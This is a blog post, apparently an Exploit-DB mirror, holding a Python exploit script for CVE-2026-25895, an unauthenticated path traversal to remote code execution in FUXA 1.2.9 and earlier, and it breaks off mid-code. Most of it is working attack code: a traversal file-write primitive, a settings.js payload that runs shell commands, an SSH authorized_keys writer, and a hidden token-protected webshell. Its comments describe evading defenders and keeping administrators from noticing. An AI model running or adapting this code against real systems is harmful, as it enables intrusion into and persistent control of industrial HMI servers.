{"id":56066,"date":"2026-05-21T08:31:46","date_gmt":"2026-05-21T08:31:46","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=56066"},"modified":"2026-05-21T08:31:46","modified_gmt":"2026-05-21T08:31:46","slug":"fuxa-129-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=56066","title":{"rendered":"FUXA  1.2.9 &#8211;  RCE_EDB-ID:52568"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-21T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: FUXA 1.2.9 &#8211; RCE Date: 4\/24\/2026 Exploit Author: Anthony Cihan Hann1bl3L3ct3r Vendor Homepage: https:\/\/github.com\/frangoteam\/FUXA Version: Arbitrary File Write &#8211; RCE Affected: FUXA makes Node&#8217;s path.resolve climb out of appDir&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-21T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;FUXA  1.2.9 &#8211;  RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52568&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25895&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: FUXA  1.2.9 &#8211;  RCE\\r\\n# Date: 4\/24\/2026\\r\\n# Exploit Author: Anthony Cihan (Hann1bl3L3ct3r)\\r\\n# Vendor Homepage: https:\/\/github.com\/frangoteam\/FUXA\\r\\n# Version: \\u003c= 1.2.9 \\r\\n# Tested on: Ubuntu Server \\r\\n# CVE : CVE-2026-25895\\r\\n\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\nCVE-2026-25895 &#8211; FUXA Unauthenticated Path Traversal -\\u003e Arbitrary File Write -\\u003e RCE\\r\\nAffected: FUXA \\u003c= 1.2.9\\r\\nPatched:  1.2.10\\r\\n\\r\\nVulnerable endpoint: POST \/api\/upload (server\/api\/projects\/index.js, ~line 193)\\r\\nRoot cause:\\r\\n  * The \/api\/upload route is registered with NO middleware:\\r\\n        prjApp.post(&#8216;\/api\/upload&#8217;, function (req, res) { &#8230; })\\r\\n    so it bypasses both `secureFnc` (JWT\/API-key) and the admin permission\\r\\n    gate that wraps every other endpoint in projects\/index.js.\\r\\n  * Inside the handler, the JSON-body field `destination` is concatenated\\r\\n    into a path with only a leading underscore and no normalization \/\\r\\n    containment check:\\r\\n        let destinationDir = path.resolve(runtime.settings.appDir,\\r\\n                                          `_${destination}`);\\r\\n        filePath = path.join(destinationDir, fullPath || fileName);\\r\\n        fs.writeFileSync(filePath, basedata, encoding);\\r\\n    A relative payload of the form `a\/..\/..\/..\/..\/\\u003ctarget\\u003e` makes\\r\\n    Node&#8217;s path.resolve() climb out of `appDir` to anywhere the FUXA\\r\\n    process can write.\\r\\n  * `fullPath`\/`fileName` strip `..` sequences, so we control the directory\\r\\n    via `destination` and the filename via `file.name`.\\r\\n\\r\\nExploitation: pre-auth RCE even when `secureEnabled = true`.\\r\\n\\r\\nAuthorization: this script is for credentialed penetration tests against\\r\\nsystems you are explicitly authorized to assess. Use only inside a defined\\r\\nengagement scope.\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\nfrom __future__ import annotations\\r\\n\\r\\nimport argparse\\r\\nimport base64\\r\\nimport json\\r\\nimport posixpath\\r\\nimport secrets\\r\\nimport sys\\r\\nfrom typing import Dict, List, Optional, Tuple\\r\\nfrom urllib.parse import urljoin, urlparse, quote\\r\\n\\r\\ntry:\\r\\n    import requests\\r\\nexcept ImportError:\\r\\n    sys.stderr.write(\\&#8221;[-] Missing dependency: pip install requests\\\\n\\&#8221;)\\r\\n    sys.exit(2)\\r\\n\\r\\n\\r\\nBANNER = r\\&#8221;\\&#8221;\\&#8221;\\r\\n  ______ _    ___   __          _______          ___   _\\r\\n |  ____| |  | \\\\ \\\\ \/ \/    \/\\\\   |  __ \\\\ \\\\        \/ \/ \\\\ | |\\r\\n | |__  | |  | |\\\\ V \/    \/  \\\\  | |__) \\\\ \\\\  \/\\\\  \/ \/|  \\\\| |\\r\\n |  __| | |  | | \\u003e \\u003c    \/ \/\\\\ \\\\ |  ___\/ \\\\ \\\\\/  \\\\\/ \/ | . ` |\\r\\n | |    | |__| |\/ . \\\\  \/ ____ \\\\| |      \\\\  \/\\\\  \/  | |\\\\  |\\r\\n |_|     \\\\____\/\/_\/ \\\\_\\\\\/_\/    \\\\_\\\\_|       \\\\\/  \\\\\/   |_| \\\\_|\\r\\n\\r\\n   CVE-2026-25895 :: FUXA \\u003c=1.2.9 Unauth Path Traversal -\\u003e RCE\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\n\\r\\n# &#8212; Server response helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\r\\n\\r\\ndef _extract_errno(response_text: str) -\\u003e Optional[str]:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Parse the server&#8217;s error JSON body (e.g. {\\&#8221;error\\&#8221;:\\&#8221;EACCES\\&#8221;,\\&#8221;message\\&#8221;:\\r\\n    \\&#8221;EACCES: permission denied, open &#8216;\/root\/x&#8217;\\&#8221;}) and return the errno code.\\r\\n    Returns None if the body is not JSON or has no &#8216;error&#8217; key.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    if not response_text:\\r\\n        return None\\r\\n    try:\\r\\n        data = json.loads(response_text)\\r\\n    except (ValueError, TypeError):\\r\\n        return None\\r\\n    if isinstance(data, dict):\\r\\n        err = data.get(\\&#8221;error\\&#8221;)\\r\\n        if isinstance(err, str):\\r\\n            return err\\r\\n    return None\\r\\n\\r\\n\\r\\ndef _extract_syscall(response_text: str) -\\u003e Optional[str]:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Parse the server&#8217;s error JSON body and return the Node.js syscall that\\r\\n    failed (e.g. &#8216;open&#8217;, &#8216;mkdir&#8217;, &#8216;write&#8217;). The upload handler forwards\\r\\n    `err.message`, which for POSIX fs errors is formatted by libuv as:\\r\\n        \\&#8221;\\u003cCODE\\u003e: \\u003creason\\u003e, \\u003csyscall\\u003e &#8216;\\u003cpath\\u003e&#8217;\\&#8221;\\r\\n    So we pull the token between the comma and the quoted path.\\r\\n\\r\\n    The syscall lets us distinguish ambiguous errno values. In particular, on\\r\\n    EACCES the upload handler conditionally calls fs.mkdirSync(parent,\\r\\n    {recursive: true}) before writing \u2014 so a non-existent \/home\/\\u003cuser\\u003e\/ gets\\r\\n    mkdir-EACCES (can&#8217;t create under root-owned \/home\/), while an existing\\r\\n    \/home\/\\u003cother\\u003e\/ (mode 0700) gets open-EACCES on the write itself. Same\\r\\n    errno, different meaning.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    if not response_text:\\r\\n        return None\\r\\n    try:\\r\\n        data = json.loads(response_text)\\r\\n    except (ValueError, TypeError):\\r\\n        return None\\r\\n    if not isinstance(data, dict):\\r\\n        return None\\r\\n    msg = data.get(\\&#8221;message\\&#8221;)\\r\\n    if not isinstance(msg, str):\\r\\n        return None\\r\\n    # Format: \\&#8221;EACCES: permission denied, mkdir &#8216;\/home\/tony&#8217;\\&#8221;\\r\\n    #                                      ^^^^^\\r\\n    try:\\r\\n        tail = msg.split(\\&#8221;,\\&#8221;, 1)[1].strip()   # \\&#8221;mkdir &#8216;\/home\/tony&#8217;\\&#8221;\\r\\n        syscall = tail.split(\\&#8221; \\&#8221;, 1)[0].strip()\\r\\n        if syscall and syscall.isalpha():\\r\\n            return syscall.lower()\\r\\n    except (IndexError, AttributeError):\\r\\n        pass\\r\\n    return None\\r\\n\\r\\n\\r\\n# &#8212; Low-level upload primitive &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\r\\n\\r\\nclass FuxaUploadExploit:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Wraps the vulnerable POST \/api\/upload endpoint.\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\n    def __init__(self, base_url: str, timeout: int = 15, verify_tls: bool = True,\\r\\n                 proxy: Optional[str] = None, verbose: bool = True):\\r\\n        self.base_url = base_url.rstrip(\\&#8221;\/\\&#8221;)\\r\\n        self.timeout = timeout\\r\\n        self.verify_tls = verify_tls\\r\\n        self.verbose = verbose\\r\\n        self.session = requests.Session()\\r\\n        self.session.headers.update({\\r\\n            \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (FUXA-CVE-2026-25895-PoC)\\&#8221;,\\r\\n            \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;,\\r\\n        })\\r\\n        if proxy:\\r\\n            self.session.proxies = {\\&#8221;http\\&#8221;: proxy, \\&#8221;https\\&#8221;: proxy}\\r\\n\\r\\n    # &#8212;- helpers &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;\\r\\n\\r\\n    def _log(self, msg: str) -\\u003e None:\\r\\n        if self.verbose:\\r\\n            print(msg, flush=True)\\r\\n\\r\\n    def fingerprint(self) -\\u003e Tuple[bool, str]:\\r\\n        \\&#8221;\\&#8221;\\&#8221;GET \/api\/version returns FUXA&#8217;s own version string (&#8216;1.0.0&#8217; for the\\r\\n        api wrapper) \u2014 used as a pre-flight reachability check.\\r\\n        \\&#8221;\\&#8221;\\&#8221;\\r\\n        url = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/version\\&#8221;)\\r\\n        try:\\r\\n            r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)\\r\\n        except requests.RequestException as e:\\r\\n            return False, f\\&#8221;connection error: {e}\\&#8221;\\r\\n        if r.status_code != 200:\\r\\n            return False, f\\&#8221;unexpected status {r.status_code}\\&#8221;\\r\\n        return True, r.text.strip()\\r\\n\\r\\n    def fetch_settings(self) -\\u003e Tuple[bool, str, Optional[Dict]]:\\r\\n        \\&#8221;\\&#8221;\\&#8221;GET \/api\/settings returns the full `runtime.settings` object\\r\\n        (minus smtp password \/ secretCode) with NO auth middleware in FUXA\\r\\n        \\u003c=1.2.9. Primary pre-auth information leak used by &#8211;mode recon.\\r\\n        \\&#8221;\\&#8221;\\&#8221;\\r\\n        url = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/settings\\&#8221;)\\r\\n        try:\\r\\n            r = self.session.get(url, timeout=self.timeout, verify=self.verify_tls)\\r\\n        except requests.RequestException as e:\\r\\n            return False, f\\&#8221;connection error: {e}\\&#8221;, None\\r\\n        if r.status_code != 200:\\r\\n            return False, f\\&#8221;unexpected status {r.status_code}\\&#8221;, None\\r\\n        try:\\r\\n            return True, \\&#8221;ok\\&#8221;, r.json()\\r\\n        except ValueError:\\r\\n            return False, f\\&#8221;non-JSON response (first 200B): {r.text[:200]!r}\\&#8221;, None\\r\\n\\r\\n    # &#8212;- core exploit &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\r\\n\\r\\n    def upload(self, destination: str, filename: str, content: bytes,\\r\\n               file_type: str = \\&#8221;bin\\&#8221;) -\\u003e requests.Response:\\r\\n        \\&#8221;\\&#8221;\\&#8221;Send the crafted upload that triggers the path-traversal write.\\r\\n\\r\\n        Server-side decoding rules (from server\/api\/projects\/index.js):\\r\\n          * if file.type === &#8216;svg&#8217;  -\\u003e raw write of file.data (no decoding)\\r\\n          * otherwise               -\\u003e file.data is treated as base64 and\\r\\n                                       written via fs.writeFileSync(&#8230;, &#8216;base64&#8217;)\\r\\n        We use base64 by default so we can deliver arbitrary binary content.\\r\\n        \\&#8221;\\&#8221;\\&#8221;\\r\\n        if file_type == \\&#8221;svg\\&#8221;:\\r\\n            # Raw text passthrough; keep file.type = &#8216;svg&#8217; so the server\\r\\n            # writes it without base64 decoding.\\r\\n            data_field = content.decode(\\&#8221;utf-8\\&#8221;, errors=\\&#8221;replace\\&#8221;)\\r\\n        else:\\r\\n            data_field = base64.b64encode(content).decode(\\&#8221;ascii\\&#8221;)\\r\\n\\r\\n        body = {\\r\\n            \\&#8221;resource\\&#8221;: {\\r\\n                \\&#8221;name\\&#8221;: filename,\\r\\n                \\&#8221;fullPath\\&#8221;: filename,   # written into the destination dir verbatim\\r\\n                \\&#8221;type\\&#8221;: file_type,\\r\\n                \\&#8221;data\\&#8221;: data_field,\\r\\n            },\\r\\n            \\&#8221;destination\\&#8221;: destination,\\r\\n        }\\r\\n\\r\\n        url = urljoin(self.base_url + \\&#8221;\/\\&#8221;, \\&#8221;api\/upload\\&#8221;)\\r\\n        return self.session.post(url, data=json.dumps(body),\\r\\n                                 timeout=self.timeout, verify=self.verify_tls)\\r\\n\\r\\n    def write_arbitrary(self, target_abs_path: str, content: bytes,\\r\\n                        appdir_depth: int = 10, file_type: str = \\&#8221;bin\\&#8221;) -\\u003e dict:\\r\\n        \\&#8221;\\&#8221;\\&#8221;High-level: write `content` to any absolute path the FUXA process\\r\\n        can reach.\\r\\n\\r\\n        We assume FUXA&#8217;s `runtime.settings.appDir` is the `server\/` directory\\r\\n        of the install. To climb out of it we prepend a dummy segment + N\\r\\n        `..` jumps. `appdir_depth` is intentionally generous; extra `..`\\r\\n        components past the filesystem root are no-ops on POSIX.\\r\\n        \\&#8221;\\&#8221;\\&#8221;\\r\\n        # Use posixpath unconditionally \u2014 the target is a Linux server, so we\\r\\n        # cannot let the host&#8217;s os.path module rewrite separators on Windows.\\r\\n        target_abs_path = posixpath.normpath(target_abs_path.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\/\\&#8221;))\\r\\n        if not target_abs_path.startswith(\\&#8221;\/\\&#8221;):\\r\\n            raise ValueError(\\&#8221;target_abs_path must be absolute (POSIX)\\&#8221;)\\r\\n\\r\\n        target_dir, target_name = posixpath.split(target_abs_path)\\r\\n        # destination becomes:  a\/..\/\/..\/\/..\/\/..\/\/..\/\/..\/\/..\/\/..  + target_dir\\r\\n        # path.resolve(appDir, &#8216;_a\/..\/\/..\/\/&#8230;\/target_dir&#8217;) -\\u003e target_dir\\r\\n        # The leading &#8216;a&#8217; is a throw-away segment that absorbs the &#8216;_&#8217; prefix.\\r\\n        traversal = \\&#8221;a\\&#8221; + (\\&#8221;\/..\\&#8221; * appdir_depth)\\r\\n        destination = traversal + target_dir   # target_dir starts with &#8216;\/&#8217;\\r\\n\\r\\n        resp = self.upload(destination=destination, filename=target_name,\\r\\n                           content=content, file_type=file_type)\\r\\n\\r\\n        ok = resp.status_code == 200\\r\\n        return {\\r\\n            \\&#8221;status_code\\&#8221;: resp.status_code,\\r\\n            \\&#8221;response_text\\&#8221;: resp.text[:400],\\r\\n            \\&#8221;errno\\&#8221;: _extract_errno(resp.text),\\r\\n            \\&#8221;syscall\\&#8221;: _extract_syscall(resp.text),\\r\\n            \\&#8221;target\\&#8221;: target_abs_path,\\r\\n            \\&#8221;wrote_bytes\\&#8221;: len(content),\\r\\n            \\&#8221;success\\&#8221;: ok,\\r\\n        }\\r\\n\\r\\n\\r\\n# &#8212; High-level payloads &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\r\\n\\r\\ndef payload_proof(host: str) -\\u003e bytes:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Default canary payload. Deliberately bland \u2014 no CVE ID, no vendor\\r\\n    name, no tool signature \u2014 so that the file sitting on the target&#8217;s\\r\\n    filesystem is not a glaring IOC for log-scraping defenders or DFIR.\\r\\n    Operators who want an explicit PoC demo payload should use\\r\\n    &#8211;canary-content to supply their own file.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    _ = host  # retained for API compatibility; intentionally unused\\r\\n    return b\\&#8221;healthcheck ok\\\\n\\&#8221;\\r\\n\\r\\n\\r\\ndef payload_settings_js_rce(callback_cmd: str,\\r\\n                            real_settings: Optional[Dict] = None) -\\u003e bytes:\\r\\n    \\&#8221;\\&#8221;\\&#8221;A drop-in replacement for FUXA&#8217;s _appdata\/settings.js.\\r\\n\\r\\n    The file is loaded via require() in main.js at every startup, so any JS\\r\\n    placed at module top-level executes inside the FUXA Node process the\\r\\n    next time FUXA initializes. Passing `real_settings` (the dict returned\\r\\n    by GET \/api\/settings) preserves the target&#8217;s actual configuration \u2014\\r\\n    uiPort, allowedOrigins, secureEnabled, custom paths \u2014 so admins don&#8217;t\\r\\n    notice config drift after restart.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    # NB: the callback_cmd is interpolated as a JS string. Escape backslashes\\r\\n    # and single-quotes so it survives JS parsing. Single-quoted JS string.\\r\\n    safe = callback_cmd.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\\\\\\\\\\\\\\\\\\&#8221;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)\\r\\n    return (\\r\\n        \\&#8221;\/\/ CVE-2026-25895 PoC \u2014 replacement settings.js (command payload)\\\\n\\&#8221;\\r\\n        \\&#8221;try {\\\\n\\&#8221;\\r\\n        \\&#8221;    require(&#8216;child_process&#8217;).exec(&#8216;\\&#8221; + safe + \\&#8221;&#8216;,\\\\n\\&#8221;\\r\\n        \\&#8221;        { detached: true, stdio: &#8216;ignore&#8217; });\\\\n\\&#8221;\\r\\n        \\&#8221;} catch (e) { \/* swallow so FUXA still boots *\/ }\\\\n\\&#8221;\\r\\n        \\&#8221;\\\\n\\&#8221;\\r\\n        + _settings_module_exports(real_settings)\\r\\n    ).encode(\\&#8221;utf-8\\&#8221;)\\r\\n\\r\\n\\r\\ndef payload_authorized_keys(pubkey: str) -\\u003e bytes:\\r\\n    return (pubkey.rstrip(\\&#8221;\\\\n\\&#8221;) + \\&#8221;\\\\n\\&#8221;).encode(\\&#8221;utf-8\\&#8221;)\\r\\n\\r\\n\\r\\n# &#8212; Webshell payload &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-\\r\\n#\\r\\n# The canonical Node-on-target webshell: a replacement settings.js module\\r\\n# that, at module-load time, spawns an HTTP listener inside the FUXA process.\\r\\n# The listener exposes a single authenticated endpoint that runs commands via\\r\\n# child_process.exec and returns stdout\/stderr in the HTTP response body.\\r\\n#\\r\\n# Design notes:\\r\\n#  * Bind on 0.0.0.0:\\u003cws_port\\u003e (configurable). Different port from FUXA&#8217;s\\r\\n#    main 1881 so we don&#8217;t collide with the app&#8217;s own Express server.\\r\\n#  * Auth: required token via `X-Auth-Token` header OR `?t=\\u003ctoken\\u003e` query.\\r\\n#    Wrong \/ missing token -\\u003e 404 (indistinguishable from a non-existent\\r\\n#    endpoint) to make the listener invisible to dumb scanners.\\r\\n#  * Path: configurable random secret path (default: 24 random hex chars).\\r\\n#    Requests to any other path also get 404.\\r\\n#  * Error isolation: server.on(&#8216;error&#8217;, &#8230;) swallows EADDRINUSE and\\r\\n#    friends so a restart cycle that can&#8217;t rebind the port does NOT take\\r\\n#    FUXA down. Try\/catch wraps the whole initialization for the same\\r\\n#    reason \u2014 the settings.js load path MUST NOT throw, or FUXA will\\r\\n#    fail to boot.\\r\\n#  * The module still exports the full settings object verbatim so FUXA\\r\\n#    boots cleanly and operators see a healthy service.\\r\\n\\r\\ndef payload_webshell_js(ws_port: int, ws_path: str, ws_token: str,\\r\\n                        real_settings: Optional[Dict] = None) -\\u003e bytes:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Replacement settings.js that, on FUXA startup, binds an authenticated\\r\\n    HTTP command-execution endpoint inside the Node process.\\r\\n\\r\\n    Passing `real_settings` (from GET \/api\/settings) preserves the target&#8217;s\\r\\n    actual configuration in the module.exports block so the service looks\\r\\n    unchanged to admins after restart.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    # All three operator inputs are interpolated into a JS string literal.\\r\\n    # Escape backslashes + single quotes so nothing breaks out.\\r\\n    def esc(s: str) -\\u003e str:\\r\\n        return s.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\\\\\\\\\\\\\\\\\\&#8221;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)\\r\\n\\r\\n    path_js = esc(ws_path if ws_path.startswith(\\&#8221;\/\\&#8221;) else \\&#8221;\/\\&#8221; + ws_path)\\r\\n    token_js = esc(ws_token)\\r\\n\\r\\n    return (\\r\\n        \\&#8221;\/\/ CVE-2026-25895 PoC \u2014 replacement settings.js (HTTP webshell)\\\\n\\&#8221;\\r\\n        \\&#8221;try {\\\\n\\&#8221;\\r\\n        \\&#8221;    const http = require(&#8216;http&#8217;);\\\\n\\&#8221;\\r\\n        \\&#8221;    const { exec } = require(&#8216;child_process&#8217;);\\\\n\\&#8221;\\r\\n        \\&#8221;    const urlMod = require(&#8216;url&#8217;);\\\\n\\&#8221;\\r\\n        \\&#8221;    const WS_PORT  = \\&#8221; + str(int(ws_port)) + \\&#8221;;\\\\n\\&#8221;\\r\\n        \\&#8221;    const WS_PATH  = &#8216;\\&#8221; + path_js + \\&#8221;&#8216;;\\\\n\\&#8221;\\r\\n        \\&#8221;    const WS_TOKEN = &#8216;\\&#8221; + token_js + \\&#8221;&#8216;;\\\\n\\&#8221;\\r\\n        \\&#8221;    const server = http.createServer((req, res) =\\u003e {\\\\n\\&#8221;\\r\\n        \\&#8221;        try {\\\\n\\&#8221;\\r\\n        \\&#8221;            const parsed = urlMod.parse(req.url || &#8221;, true);\\\\n\\&#8221;\\r\\n        \\&#8221;            const hdrTok = req.headers[&#8216;x-auth-token&#8217;];\\\\n\\&#8221;\\r\\n        \\&#8221;            const qTok = parsed.query \\u0026\\u0026 parsed.query.t;\\\\n\\&#8221;\\r\\n        \\&#8221;            const tok = (typeof hdrTok === &#8216;string&#8217;) ? hdrTok : qTok;\\\\n\\&#8221;\\r\\n        \\&#8221;            if (parsed.pathname !== WS_PATH || tok !== WS_TOKEN) {\\\\n\\&#8221;\\r\\n        \\&#8221;                res.writeHead(404, {&#8216;Content-Type&#8217;: &#8216;text\/plain&#8217;});\\\\n\\&#8221;\\r\\n        \\&#8221;                res.end(&#8216;Not Found&#8217;);\\\\n\\&#8221;\\r\\n        \\&#8221;                return;\\\\n\\&#8221;\\r\\n        \\&#8221;            }\\\\n\\&#8221;\\r\\n        \\&#8221;            const handle = (cmd) =\\u003e {\\\\n\\&#8221;\\r\\n        \\&#8221;                if (!cmd) {\\\\n\\&#8221;\\r\\n        \\&#8221;                    res.writeHead(400, {&#8216;Content-Type&#8217;: &#8216;text\/plain&#8217;});\\\\n\\&#8221;\\r\\n        \\&#8221;                    res.end(&#8216;missing cmd&#8217;);\\\\n\\&#8221;\\r\\n        \\&#8221;                    return;\\\\n\\&#8221;\\r\\n        \\&#8221;                }\\\\n\\&#8221;\\r\\n        \\&#8221;                exec(cmd, { timeout: 60000, maxBuffer: 16*1024*1024, shell: &#8216;\/bin\/sh&#8217; },\\\\n\\&#8221;\\r\\n        \\&#8221;                    (err, stdout, stderr) =\\u003e {\\\\n\\&#8221;\\r\\n        \\&#8221;                        let out = &#8221;;\\\\n\\&#8221;\\r\\n        \\&#8221;                        if (stdout) out += stdout.toString();\\\\n\\&#8221;\\r\\n        \\&#8221;                        if (stderr) out += stderr.toString();\\\\n\\&#8221;\\r\\n        \\&#8221;                        if (err \\u0026\\u0026 typeof err.code !== &#8216;undefined&#8217; \\u0026\\u0026 err.code !== 0) {\\\\n\\&#8221;\\r\\n        \\&#8221;                            out += &#8216;\\\\\\\\n[exit &#8216; + err.code + &#8216;]&#8217;;\\\\n\\&#8221;\\r\\n        \\&#8221;                        }\\\\n\\&#8221;\\r\\n        \\&#8221;                        res.writeHead(200, {&#8216;Content-Type&#8217;: &#8216;text\/plain; charset=utf-8&#8217;});\\\\n\\&#8221;\\r\\n        \\&#8221;                        res.end(out);\\\\n\\&#8221;\\r\\n        \\&#8221;                    });\\\\n\\&#8221;\\r\\n        \\&#8221;            };\\\\n\\&#8221;\\r\\n        \\&#8221;            if (req.method === &#8216;POST&#8217;) {\\\\n\\&#8221;\\r\\n        \\&#8221;                let body = &#8221;;\\\\n\\&#8221;\\r\\n        \\&#8221;                req.on(&#8216;data&#8217;, (c) =\\u003e { body += c; if (body.length \\u003e 65536) req.destroy(); });\\\\n\\&#8221;\\r\\n        \\&#8221;                req.on(&#8216;end&#8217;, () =\\u003e {\\\\n\\&#8221;\\r\\n        \\&#8221;                    let cmd = parsed.query.cmd;\\\\n\\&#8221;\\r\\n        \\&#8221;                    if (!cmd \\u0026\\u0026 body) {\\\\n\\&#8221;\\r\\n        \\&#8221;                        try {\\\\n\\&#8221;\\r\\n        \\&#8221;                            const j = JSON.parse(body);\\\\n\\&#8221;\\r\\n        \\&#8221;                            cmd = j.cmd;\\\\n\\&#8221;\\r\\n        \\&#8221;                        } catch (e) { cmd = body; }\\\\n\\&#8221;\\r\\n        \\&#8221;                    }\\\\n\\&#8221;\\r\\n        \\&#8221;                    handle(cmd);\\\\n\\&#8221;\\r\\n        \\&#8221;                });\\\\n\\&#8221;\\r\\n        \\&#8221;                req.on(&#8216;error&#8217;, () =\\u003e { try { res.end(); } catch (e) {} });\\\\n\\&#8221;\\r\\n        \\&#8221;            } else {\\\\n\\&#8221;\\r\\n        \\&#8221;                handle(parsed.query.cmd);\\\\n\\&#8221;\\r\\n        \\&#8221;            }\\\\n\\&#8221;\\r\\n        \\&#8221;        } catch (e) {\\\\n\\&#8221;\\r\\n        \\&#8221;            try { res.writeHead(500); res.end(&#8216;err&#8217;); } catch (ee) {}\\\\n\\&#8221;\\r\\n        \\&#8221;        }\\\\n\\&#8221;\\r\\n        \\&#8221;    });\\\\n\\&#8221;\\r\\n        \\&#8221;    server.on(&#8216;error&#8217;, () =\\u003e { \/* swallow bind errors *\/ });\\\\n\\&#8221;\\r\\n        \\&#8221;    server.listen(WS_PORT, &#8216;0.0.0.0&#8217;);\\\\n\\&#8221;\\r\\n        \\&#8221;} catch (e) { \/* swallow so FUXA still boots *\/ }\\\\n\\&#8221;\\r\\n        \\&#8221;\\\\n\\&#8221;\\r\\n        + _settings_module_exports(real_settings)\\r\\n    ).encode(\\&#8221;utf-8\\&#8221;)\\r\\n\\r\\n\\r\\ndef _settings_module_exports(real_settings: Optional[Dict] = None) -\\u003e str:\\r\\n    \\&#8221;\\&#8221;\\&#8221;Return JS source for `module.exports = {&#8230;}`.\\r\\n\\r\\n    When `real_settings` is provided (fetched from GET \/api\/settings), emit\\r\\n    it as a JSON literal \u2014 JSON is a valid JavaScript expression when used\\r\\n    as an object literal, and this preserves the target&#8217;s real uiPort,\\r\\n    allowedOrigins, secureEnabled, custom paths, etc. so admins don&#8217;t spot\\r\\n    config drift after restart.\\r\\n\\r\\n    Caveats (see server\/api\/index.js:103-110):\\r\\n      * `\/api\/settings` DELETES `secretCode` from its response, and\\r\\n        `smtp.password` if smtp is set. Our replacement settings.js will not\\r\\n        contain them. jwt-helper.js:6 falls back to &#8216;frangoteam751&#8217; when\\r\\n        secretCode is missing, which invalidates any existing JWTs issued\\r\\n        under a previously-customized secretCode. The default install has\\r\\n        secretCode commented out (settings.default.js:94), so most targets\\r\\n        are unaffected \u2014 but when `secureEnabled: true`, warn the operator.\\r\\n      * process.env.PORT resolution is lost (we only see the runtime value).\\r\\n        In practice FUXA installs rarely rely on PORT env dynamism.\\r\\n\\r\\n    When `real_settings` is None, fall back to a minimal config that matches\\r\\n    settings.default.js so FUXA still boots. Use this only when the recon\\r\\n    fetch failed \u2014 prefer the real-settings path.\\r\\n    \\&#8221;\\&#8221;\\&#8221;\\r\\n    if real_settings is not None:\\r\\n        body = json.dumps(real_settings, indent=4, ensure_ascii=False,\\r\\n                          sort_keys=False, default=str)\\r\\n        return \\&#8221;module.exports = \\&#8221; + body + \\&#8221;;\\\\n\\&#8221;\\r\\n    # Fallback \u2014 minimal config derived from FUXA 1.2.9 settings.default.js.\\r\\n    return (\\r\\n        \\&#8221;module.exports = {\\\\n\\&#8221;\\r\\n        \\&#8221;    version: 1.4,\\\\n\\&#8221;\\r\\n        \\&#8221;    language: &#8216;en&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;    uiPort: process.env.PORT || 1881,\\\\n\\&#8221;\\r\\n        \\&#8221;    logDir: &#8216;_logs&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;    logApiLevel: &#8216;tiny&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;    dbDir: &#8216;_db&#8217;,\\\\n\\&#8221;\\r\\n        \\&#8221;    daqEnabled: true,\\\\n\\&#8221;\\r\\n        \\&#8221;    daqTokenizer: 24,\\\\n\\&#8221;\\r\\n        \\&#8221;    logs: { retention: &#8216;none&#8217; },\\\\n\\&#8221;\\r\\n        \\&#8221;    broadcastAll: false,\\\\n\\&#8221;\\r\\n        \\&#8221;    allowedOrigins: [&#8216;http:\/\/localhost&#8217;, 